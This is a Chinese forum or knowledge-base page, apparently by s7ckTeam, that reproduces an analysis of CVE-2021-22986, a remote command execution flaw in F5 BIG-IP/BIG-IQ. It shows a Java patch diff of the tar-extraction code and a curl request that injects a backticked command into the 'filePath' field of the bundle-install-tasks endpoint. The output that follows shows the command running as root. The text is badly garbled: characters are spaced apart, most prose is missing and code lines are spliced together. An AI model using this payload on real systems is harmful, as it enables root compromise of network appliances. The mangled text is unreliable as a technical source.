[20547] 2021-03-17_CVE-2021-22986F5BIG-IPBIG-IQRCE

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-18
2021-03-17_CVE-2021-22986F5BIG-IPBIG-IQRCE C V E - 2 0 2 1 - 2 2 9 8 6   F 5   B I G - I P / B I G - I Q   R C E d - r n   K h a n   2 0 2 1 - 0 3 - 1 7                 B I G - I P I P i C o n t r o l   R E S T 访 B I G - I P C V E - 2 0 2 1 - 2 2 9 8 6                 S S R F 使 R C E                                 t a r ( 1 ) t a s k S t a t e . f i l e P a t h [ s n i p ] +     p r i v a t e   s t a t i c   f i n a l   P a t t e r n   v a l i d F i l e P a t h C h a r s   =   P a t t e r n . c o m p i l e ( " ( ^ [ a - z A - Z ] [ a - z A - Z 0 - 9 _ . - s ( ) ] * ) . ( [ t T ] [ a A ] [ r R ] . [ g G ] [ z Z ] ) $ " ) ; [ s n i p ]       p r i v a t e   v o i d   v a l i d a t e G z i p B u n d l e ( f i n a l   I A p p B u n d l e I n s t a l l T a s k S t a t e   t a s k S t a t e )   {           i f   ( U t i l i t i e s . i s N u l l O r E m p t y ( t a s k S t a t e . f i l e P a t h ) )   {               F i l e   a g c U s e C a s e P a c k D i r   =   n e w   F i l e ( " / v a r / a p m / f 5 - i a p p s l x - a g c - u s e c a s e - p a c k / " ) ;               i f   ( ! a g c U s e C a s e P a c k D i r . e x i s t s ( )   | |   ! a g c U s e C a s e P a c k D i r . i s D i r e c t o r y ( ) )   {                   S t r i n g   e r r o r   =   " A c c e s s   G u i d e d   C o n f i g u r a t i o n   u s e   c a s e   p a c k   n o t   f o u n d   o n   B I G - I P .   P l e a s e   u p l o a d   a n d   i n s t a l l   t h e   p a c k . " ;                   f a i l T a s k ( t a s k S t a t e ,   e r r o r ,   " " ) ;
P o C                                   f a i l T a s k ( t a s k S t a t e ,   e r r o r ,   " " ) ;                   r e t u r n ;               }               F i l e [ ]   a g c U s e C a s e P a c k   =   a g c U s e C a s e P a c k D i r . l i s t F i l e s ( ) ;               i f   ( a g c U s e C a s e P a c k   = =   n u l l   | |   a g c U s e C a s e P a c k . l e n g t h   = =   0   | |   ! a g c U s e C a s e P a c k [ 0 ] . i s F i l e ( ) )   {                   S t r i n g   e r r o r   =   " A c c e s s   G u i d e d   C o n f i g u r a t i o n   u s e   c a s e   p a c k   n o t   f o u n d   o n   B I G - I P .   P l e a s e   u p l o a d   a n d   i n s t a l l   t h e   p a c k . " ;                   f a i l T a s k ( t a s k S t a t e ,   e r r o r ,   " " ) ;                   r e t u r n ;               }               t a s k S t a t e . f i l e P a t h   =   a g c U s e C a s e P a c k [ 0 ] . g e t P a t h ( ) ;           } +         S t r i n g   f i l e n a m e   =   t a s k S t a t e . f i l e P a t h . s u b s t r i n g ( t a s k S t a t e . f i l e P a t h . l a s t I n d e x O f ( ' / ' )   +   1 ) ; +         M a t c h e r   m   =   v a l i d F i l e P a t h C h a r s . m a t c h e r ( f i l e n a m e ) ; +         i f   ( ! m . m a t c h e s ( ) )   { +             S t r i n g   e r r o r M e s s a g e   =   S t r i n g . f o r m a t ( " A c c e s s   G u i d e d   C o n f i g u r a t i o n   u s e   c a s e   p a c k   v a l i d a t i o n   f a i l e d :   t h e   f i l e   n a m e   % s   m u s t   b e g i n   w i t h   a l p h a b e t ,   a n d   o n l y   c o n t a i n   l e t t e r s ,   n u m b e r s ,   s p a c e s   a n d / o r   s p e c i a l   c h a r a c t e r s   ( u n d e r s c o r e   ( _ ) ,   p e r i o d   ( . ) ,   h y p h e n   ( - )   a n d   r o u n d   b r a c k e t s   ( ) ) .   O n l y   a   . t a r . g z   f i l e   i s   a l l o w e d " + + + +             f a i l T a s k ( t a s k S t a t e ,   e r r o r M e s s a g e ,   " " ) ; + +             r e t u r n ; +         }           f i n a l   S t r i n g   e x t r a c t T a r C o m m a n d   =   " t a r   - x f   "   +   t a s k S t a t e . f i l e P a t h   +   "   - O   >   / d e v / n u l l " ;           S h e l l E x e c u t o r   e x t r a c t T a r   =   n e w   S h e l l E x e c u t o r ( e x t r a c t T a r C o m m a n d ) ;           C o m p l e t i o n H a n d l e r < S h e l l E x e c u t i o n R e s u l t >   e x e c u t i o n F i n i s h e d H a n d l e r   =   n e w   C o m p l e t i o n H a n d l e r < S h e l l E x e c u t i o n R e s u l t > ( )               {                   p u b l i c   v o i d   c o m p l e t e d ( S h e l l E x e c u t i o n R e s u l t   e x t r a c t Q u e r y R e s u l t )                   {                       i f   ( e x t r a c t Q u e r y R e s u l t . g e t E x i t S t a t u s ( ) . i n t V a l u e ( )   ! =   0 )   {                           S t r i n g   e r r o r   =   e x t r a c t T a r C o m m a n d   +   "   f a i l e d   w i t h   e x i t   c o d e = "   +   e x t r a c t Q u e r y R e s u l t . g e t E x i t S t a t u s ( ) ;                           I A p p B u n d l e I n s t a l l T a s k C o l l e c t i o n W o r k e r . t h i s . f a i l T a s k ( t a s k S t a t e ,   " U s e c a s e   p a c k   v a l i d a t i o n   f a i l e d .   P l e a s e   e n s u r e   t h a t   u s e c a s e   p a c k   i s   a   v a l i d   t a r   a r c h i v e . " ,   e r r o r   +                             r e t u r n ;                       }                       t a s k S t a t e . s t e p   =   I A p p B u n d l e I n s t a l l T a s k S t a t e . I A p p B u n d l e I n s t a l l S t e p . Q U E R Y _ I N S T A L L E D _ R P M ;                       I A p p B u n d l e I n s t a l l T a s k C o l l e c t i o n W o r k e r . t h i s . s e n d S t a t u s U p d a t e ( t a s k S t a t e ) ;                   }                   p u b l i c   v o i d   f a i l e d ( E x c e p t i o n   e x ,   S h e l l E x e c u t i o n R e s u l t   r p m Q u e r y R e s u l t )   {                       I A p p B u n d l e I n s t a l l T a s k C o l l e c t i o n W o r k e r . t h i s . f a i l T a s k ( t a s k S t a t e ,   " U s e c a s e   p a c k   v a l i d a t i o n   f a i l e d .   P l e a s e   e n s u r e   t h a t   u s e c a s e   p a c k   i s   a   v a l i d   t a r   a r c h i v e . " ,   S t r i n g . f o r m a t (                   }               } ;           e x t r a c t T a r . s t a r t E x e c u t i o n ( e x e c u t i o n F i n i s h e d H a n d l e r ) ;       } [ s n i p ] / m g m t / t m / a c c e s s / b u n d l e - i n s t a l l - t a s k s w v u @ k h a r a k : ~ $   c u r l   - k s u   a d m i n : [ r e d a c t e d ]   h t t p s : / / 1 9 2 . 1 6 8 . 1 2 3 . 1 3 4 / m g m t / t m / a c c e s s / b u n d l e - i n s t a l l - t a s k s   - d   ' { " f i l e P a t h " : " ` i d ` " } '   |   j q   . {     " f i l e P a t h " :   " ` i d ` " ,     " t o B e I n s t a l l e d A p p R p m s I n d e x " :   - 1 ,     " i d " :   " 3 6 6 7 1 f 8 3 - d 1 b e - 4 f 5 a - a 2 e 6 - 7 f 9 4 4 2 a 2 a 7 6 f " ,     " s t a t u s " :   " C R E A T E D " ,     " u s e r R e f e r e n c e " :   {         " l i n k " :   " h t t p s : / / l o c a l h o s t / m g m t / s h a r e d / a u t h z / u s e r s / a d m i n "     } ,     " i d e n t i t y R e f e r e n c e s " :   [         {             " l i n k " :   " h t t p s : / / l o c a l h o s t / m g m t / s h a r e d / a u t h z / u s e r s / a d m i n "         }     ] ,
R C E                 R i c h   W a r r e n 使 S S R F R C E     " o w n e r M a c h i n e I d " :   " a c 2 5 6 2 f 0 - e 4 1 f - 4 6 5 2 - b a 3 5 - 6 a 2 b 8 0 4 b 2 3 5 e " ,     " g e n e r a t i o n " :   1 ,     " l a s t U p d a t e M i c r o s " :   1 6 1 5 9 3 0 4 7 7 8 1 9 6 5 6 ,     " k i n d " :   " t m : a c c e s s : b u n d l e - i n s t a l l - t a s k s : i a p p b u n d l e i n s t a l l t a s k s t a t e " ,     " s e l f L i n k " :   " h t t p s : / / l o c a l h o s t / m g m t / t m / a c c e s s / b u n d l e - i n s t a l l - t a s k s / 3 6 6 7 1 f 8 3 - d 1 b e - 4 f 5 a - a 2 e 6 - 7 f 9 4 4 2 a 2 a 7 6 f " } w v u @ k h a r a k : ~ $                 r o o t i d ( 1 ) [ p i d   6 4 7 4 8 ]   e x e c v e ( " / b i n / t a r " ,   [ " t a r " ,   " - x f " ,   " u i d = 0 ( r o o t ) " ,   " g i d = 0 ( r o o t ) " ,   " g r o u p s = 0 ( r o o t ) " ,   " c o n t e x t = s y s t e m _ u : s y s t e m _ r : i n i t r c _ t : s 0 " ,   " - O " ] ,   [ / *   9   v a r s   * / ] )   =   0                 / v a r / l o g / r e s t j a v a d . 0 . l o g [ S E V E R E ] [ 1 0 0 2 9 ] [ 1 6   M a r   2 0 2 1   2 1 : 3 4 : 3 7   U T C ] [ 8 1 0 0 / t m / a c c e s s / b u n d l e - i n s t a l l - t a s k s   I A p p B u n d l e I n s t a l l T a s k C o l l e c t i o n W o r k e r ]   U s e c a s e   p a c k   v a l i d a t i o n   f a i l e d .   P l e a s e   e n s u r e   t h a t   u s e c a s e   p a c k       a t   o r g . a p a c h e . c o m m o n s . e x e c . D e f a u l t E x e c u t o r . e x e c u t e I n t e r n a l ( D e f a u l t E x e c u t o r . j a v a : 4 0 4 )     a t   o r g . a p a c h e . c o m m o n s . e x e c . D e f a u l t E x e c u t o r . a c c e s s $ 2 0 0 ( D e f a u l t E x e c u t o r . j a v a : 4 8 )     a t   o r g . a p a c h e . c o m m o n s . e x e c . D e f a u l t E x e c u t o r $ 1 . r u n ( D e f a u l t E x e c u t o r . j a v a : 2 0 0 )     a t   j a v a . l a n g . T h r e a d . r u n ( T h r e a d . j a v a : 7 4 8 ) h t t p s : / / a t t a c k e r k b . c o m / t o p i c s / J 6 p W e g 5 s a G / k 0 3 0 0 9 9 9 1 - i c o n t r o l - r e s t - u n a u t h e n t i c a t e d - r e m o t e - c o m m a n d - e x e c u t i o n - v u l n e r a b i l i t y - c v e - 2 0 2 1 - 2 2 9 8 6
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则